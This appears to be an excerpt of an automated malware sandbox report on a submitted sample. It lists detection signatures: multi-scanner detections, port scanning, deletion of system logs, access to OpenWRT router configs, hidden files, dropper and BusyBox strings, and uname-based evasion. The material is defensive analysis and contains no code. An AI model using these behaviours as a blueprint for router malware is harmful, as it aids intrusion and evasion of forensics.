Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)
